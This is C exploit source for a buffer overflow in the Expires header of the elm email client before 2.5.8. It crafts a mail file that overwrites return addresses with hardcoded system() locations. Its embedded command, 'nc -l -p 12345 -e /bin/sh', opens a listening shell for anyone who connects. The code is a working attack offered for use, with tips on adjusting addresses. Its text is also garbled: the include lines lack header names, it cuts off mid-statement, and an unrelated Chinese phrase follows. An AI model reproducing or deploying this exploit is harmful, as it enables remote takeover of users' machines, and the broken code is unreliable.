/* Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com) http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html Probably you will need to change SYSLOC and STRLOC to work on your box */ #include #include #include #include #define BUFFER 83 #define EMAIL "tmpmail" #define STRING "`nc -l -p 12345 -e /bin/sh`&##" #define SYSLOC 0x42041e50 #define STRLOC 0x4001a207 #define EXTLOC 0x4202b0f0 char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20"; int main(int argc, char **argv) { char buffer[BUFFER]; char *email = NULL; char *user = NULL; int i; long extloc, sysloc, strloc; FILE *fp; if(argc != 2) { puts("Usage: ./elmex "); exit(EXIT_FAILURE); } if(strlen(argv[1]) > 50) { puts("[-] Sorry, email address too long!"); exit(EXIT_FAILURE); } user = (char *)malloc(strlen(argv[1])); if(!user) { perror("malloc"); exit(EXIT_FAILURE); } email = EMAIL; memset(user, '\0', strlen(argv[1])); memcpy(user, argv[1], strlen(argv[1])); puts("\nExploit for elm email client < 2.5.8 overflow in Expires field"); puts("Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n"); extloc = EXTLOC; sysloc = SYSLOC; strloc = STRLOC; memset(buffer, '\0', BUFFER); memcpy(buffer, expire, strlen(expire)); for(i = strlen(expire); i < 53; i++) *(buffer+i) = 0x41; for(i = 53; i < 57; i += 4) *(long *)&buffer[i] = sysloc; for(i = 57; i < 61; i++) *(long *)&buffer[i] = extloc; for(i = 61; i < 65; i += 4) *(long *)&buffer[i] = strloc; memcpy(&buffer[65], STRING, strlen(STRING)); buffer[BUFFER] = '\0'; puts("[-] Adding exploit buffer to email"); fp = fopen(email, "w"); if(!fp) { perror("fopen"); free(user); exit(EXIT_FAILURE); } fprintf(fp, "From: User c0ntex Sun Aug 21 13:37:00 2005\n" "Return-Path:

亚洲欧美在线